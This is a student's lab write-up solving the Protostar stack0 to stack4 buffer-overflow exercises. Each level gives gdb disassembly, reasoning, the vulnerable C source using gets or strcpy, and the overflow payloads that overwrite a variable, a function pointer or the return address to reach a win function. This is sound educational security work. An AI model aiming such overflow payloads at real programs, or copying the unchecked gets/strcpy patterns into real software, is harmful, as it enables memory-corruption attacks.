Assignment 1

Name: Ng Tze Kean

Student number: 721370290002

Stack 0

Problem

We take the primitive approach to check the main program and we see that there is a gets() function that we can potentially exploit. From here we also know that the program will take in at least one input to store this input in some variable.

```
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.
```

We can also see that there is likely to be a buffer from 0x1C-0X5c, representing a total of 64bytes which could suggest that there might be a stack of such a size. On `main+33` we notice that there is a comparison before some execution.

Idea and Attack process

We first run the program with a random guess to find out the output of the program.

```
./stack0
123
>>>Try again?
```

Now we can try to overflow the stack and see what happens. We try to input 64char along with 4 additional char to test.

```
./stack0
1234567890123456789012345678901234567890123456789012345678901234
>>>you have changed the 'modified' variable
```

Success, and now we can see that the compare statement could be an `if` statement in the source code which is an exit and to prompt us to try again.

Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}
```

Stack 1

Problem

Here we try to have a look at the main program before starting and we see on `main+9` that there is some comparison of a variable with value 1. If the values are equal and err is raised and it is likely the program terminates.We see that in `main+35` it seems like there is a variable assigned to 0 and eventually used for cmp in `main+71`. Prior, we see that there is a `strcpy` call which we could potentially use as an exploit.

In `main+59` we see that the pointer to the stack is copied to esp for the function call to copy what is in the argument to the stack. From `main+55` and `main+35` we can guess that there variable being tested is below the stack and the stack should be 64bytes.

```
Dump of assembler code for function main:
0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
0x08048467 <main+3>:    and    esp,0xfffffff0
0x0804846a <main+6>:    sub    esp,0x60
0x0804846d <main+9>:    cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:   mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:   add    eax,0x4
0x08048495 <main+49>:   mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:   mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:   mov    eax,0x80485f3
0x080484c9 <main+101>:  mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:  mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret
End of assembler dump.
```

Idea and Attack process

We first run the program with a random guess to find out the output of the program.

```
./stack1 123
>>>Try again, you got 0x00000000
```

As expected there is a variable assigned to 0 which we must modify and it is likely to be below the stack. Let's try to change it with 64char and 4char after.

```
./stack1
12345678901234567890123456789012345678901234567890123456789012341234
>>>Try again, you got 0x34333231
```

Here we see that the modification to the variable is in the reversed order of the argument we pass in. Let's try to now input the cmp value. We reference the ASCII table to obtain the values needed.

```
./stack1
123456789012345678901234567890123456789012345678901234dcba
>>>you have correctly got the variable to the right value
```

Source code

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}
```

Stack 2

Problem analysis

We first try to run the stack2 file by invoking it.

```
./stack2
>>>stack2: please set the GREENIE environment variable
```

which returns to us the output above. This suggests to us that there might be a need to set some form of environment variable.

We try to take a look at the gdb dump as well. We can see that there is a variable in `esp+0x58` set to 0 that we have to modify for comparison later in the code. We can also guess that the stack is likely to be of higher address space since the stack

```
Dump of assembler code for function main:
0x08048494 <main+0>:    push   ebp
0x08048495 <main+1>:    mov    ebp,esp
0x08048497 <main+3>:    and    esp,0xfffffff0
0x0804849a <main+6>:    sub    esp,0x60
0x0804849d <main+9>:    mov    DWORD PTR [esp],0x80485e0
0x080484a4 <main+16>:   call   0x804837c <getenv@plt>
0x080484a9 <main+21>:   mov    DWORD PTR [esp+0x5c],eax
0x080484ad <main+25>:   cmp    DWORD PTR [esp+0x5c],0x0
0x080484b2 <main+30>:   jne    0x80484c8 <main+52>
0x080484b4 <main+32>:   mov    DWORD PTR [esp+0x4],0x80485e8
0x080484bc <main+40>:   mov    DWORD PTR [esp],0x1
0x080484c3 <main+47>:   call   0x80483bc <errx@plt>
0x080484c8 <main+52>:   mov    DWORD PTR [esp+0x58],0x0
0x080484d0 <main+60>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484d4 <main+64>:   mov    DWORD PTR [esp+0x4],eax
0x080484d8 <main+68>:   lea    eax,[esp+0x18]
0x080484dc <main+72>:   mov    DWORD PTR [esp],~~eax~~
0x080484df <main+75>:   call   0x804839c <strcpy@plt>
0x080484e4 <main+80>:   mov    eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>:   cmp    eax,0xd0a0d0a
0x080484ed <main+89>:   jne    0x80484fd <main+105>
0x080484ef <main+91>:   mov    DWORD PTR [esp],0x8048618
0x080484f6 <main+98>:   call   0x80483cc <puts@plt>
0x080484fb <main+103>:  jmp    0x8048512 <main+126>
0x080484fd <main+105>:  mov    edx,DWORD PTR [esp+0x58]
0x08048501 <main+109>:  mov    eax,0x8048641
0x08048506 <main+114>:  mov    DWORD PTR [esp+0x4],edx
0x0804850a <main+118>:  mov    DWORD PTR [esp],eax
0x0804850d <main+121>:  call   0x80483ac <printf@plt>
0x08048512 <main+126>:  leave
0x08048513 <main+127>:  ret
End of assembler dump.
```

We can see that there is some function call `getenv` which gets the environment variable on line `main+16`

We can also see that eventually there is some compare operation in `main+84`. This hints to us that there might be some variable that we need to modify to the value *0x0d0a0d0a*.

Idea and Attack process

We try to guess that the environment variable might be linked to the cmp operation. We first try to set the env in the shell and run the code.

```
export GREENIE=GREENIE=$(python -c 'print "\x0a\x0d\x0a\x0d"')
./stack2
```

```
>>>Try again, you got 0x00000000
```

We can see that the output of the code gave us some unset variable. This suggest that the modification of the env variable is insufficient.

We continue to see that on `main+75` that we might need to exploit `strcpy`. From `main+60` to `main+72` we see that there is a copy of a variable pointer and buffer pointer below esp. We can see that the address of the buffer starts `esp+18` and the address of the variable to be modified is `esp+58`, so we can do a buffer overflow to overwrite the value in the variable.

```
export GREENIE=$(python -c 'print
"12345678901234567890123456789012345678901234567890123456789012345678901234\x0a\x0d\
x0a\x0d"')
./stack2
>>>you have correctly modified the variable
```

Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}
```

Stack 3

Problem

Here we can guess that there is a variable assigned to 0 in `main+9` and that there is a stack from `esp+1c`. There seems to be a possible exploit with teh `gets` call and following a cmp to 0 for the variable. We can again guess that the buffer is 64bytes and we might want to overflow the buffer first. In `main+45` we see that the variable is copied to edx and eventually there is a call to the location within eax at `main+64`.

```
Dump of assembler code for function main:
0x08048438 <main+0>:    push   ebp
0x08048439 <main+1>:    mov    ebp,esp
0x0804843b <main+3>:    and    esp,0xfffffff0
0x0804843e <main+6>:    sub    esp,0x60
0x08048441 <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>:   lea    eax,[esp+0x1c]
0x0804844d <main+21>:   mov    DWORD PTR [esp],eax
0x08048450 <main+24>:   call   0x8048330 <gets@plt>
0x08048455 <main+29>:   cmp    DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>:   je     0x8048477 <main+63>
0x0804845c <main+36>:   mov    eax,0x8048560
0x08048461 <main+41>:   mov    edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>:   mov    DWORD PTR [esp+0x4],edx
0x08048469 <main+49>:   mov    DWORD PTR [esp],eax
0x0804846c <main+52>:   call   0x8048350 <printf@plt>
0x08048471 <main+57>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>:   call   eax
0x08048477 <main+63>:   leave
0x08048478 <main+64>:   ret
End of assembler dump.
```

We try to find out if there are other functions that is called in main.

```
info functions
>>>All defined functions:
>>>
>>>File stack3/stack3.c:
>>>int main(int, char **);
>>>void win(void);
```

and we can see that there is another `win` function that we might need to work with.

```
Dump of assembler code for function win:
0x08048424 <win+0>:     push   ebp
0x08048425 <win+1>:     mov    ebp,esp
```

```
0x08048427 <win+3>:     sub    esp,0x18
0x0804842a <win+6>:     mov    DWORD PTR [esp],0x8048540
0x08048431 <win+13>:    call   0x8048360 <puts@plt>
0x08048436 <win+18>:    leave
0x08048437 <win+19>:    ret
End of assembler dump.
```

I can guess that the stack overflow should have the address location of `win`. We try to combine our stack1 and stack0 knowledge for this.

Idea and Attack process

We first overflow the buffer first through the gets command. Note that the stack starts at `esp+0x1c`, and the target variable that we want to modify is at `esp+0x5c` which is after the stack. We try to overflow with the address location of `win` to find out what will happen. We use python to pipe the input into the `gets` call and see the results.

```
python -c 'print
"12345678901234567890123456789012345678901234567890123456789012345678901234\x24\x84\
x04\x08"' | ./stack3
>>>calling function pointer, jumping to 0x08048424
>>>code flow successfully changed
```

Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
```

```
    }
}
```

Stack 4

Problem

Again we check for other possible function calls that might be used in this problem.

```
 info functions
All defined functions:

File stack4/stack4.c:
int main(int, char **);
void win(void);
```

We then examine both the main and win function.

```
Dump of assembler code for function main:
0x08048408 <main+0>:    push   ebp
0x08048409 <main+1>:    mov    ebp,esp
0x0804840b <main+3>:    and    esp,0xfffffff0
0x0804840e <main+6>:    sub    esp,0x50
0x08048411 <main+9>:    lea    eax,[esp+0x10]
0x08048415 <main+13>:   mov    DWORD PTR [esp],eax
0x08048418 <main+16>:   call   0x804830c <gets@plt>
0x0804841d <main+21>:   leave
0x0804841e <main+22>:   ret
End of assembler dump.
Dump of assembler code for function win:
0x080483f4 <win+0>:     push   ebp
0x080483f5 <win+1>:     mov    ebp,esp
0x080483f7 <win+3>:     sub    esp,0x18
0x080483fa <win+6>:     mov    DWORD PTR [esp],0x80484e0
0x08048401 <win+13>:    call   0x804832c <puts@plt>
0x08048406 <win+18>:    leave
0x08048407 <win+19>:    ret
End of assembler dump.
```

From the code we can guess the buffer is at `esp+0x10` to `esp+0x50` a 64char buffer. We can also see that there is a `gets` call before the function terminates. There is no call to any other function in main. We want to try to force main to call `win` instead. We could do so by having the stack overflow past ebp of main. Then we would have to also replace the ebp of the caller to main and the return address afterwards, where the return address should be `0x08048408`. By computing we aim to find the esp and overflow past the ebp by a word to first remove the previous ebp in call and then to inject the address of `win`.

Idea and Attack process

```
b *0x0804840e
r
info reg
>>>esp            0xbffffc10       0xbffffc10
>>>ebp            0xbffffc68       0xbffffc68
```

From here we will reverse work the location of the stack to be `0xbffffc20` and we will have to fill till `0xbffffc68 + 4` that gives us a total of 76char before injecting our `win` location

```
python -c 'print "1"*76 + "\xf4\x83\x04\x08"' | ./stack4
```

Source code

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
```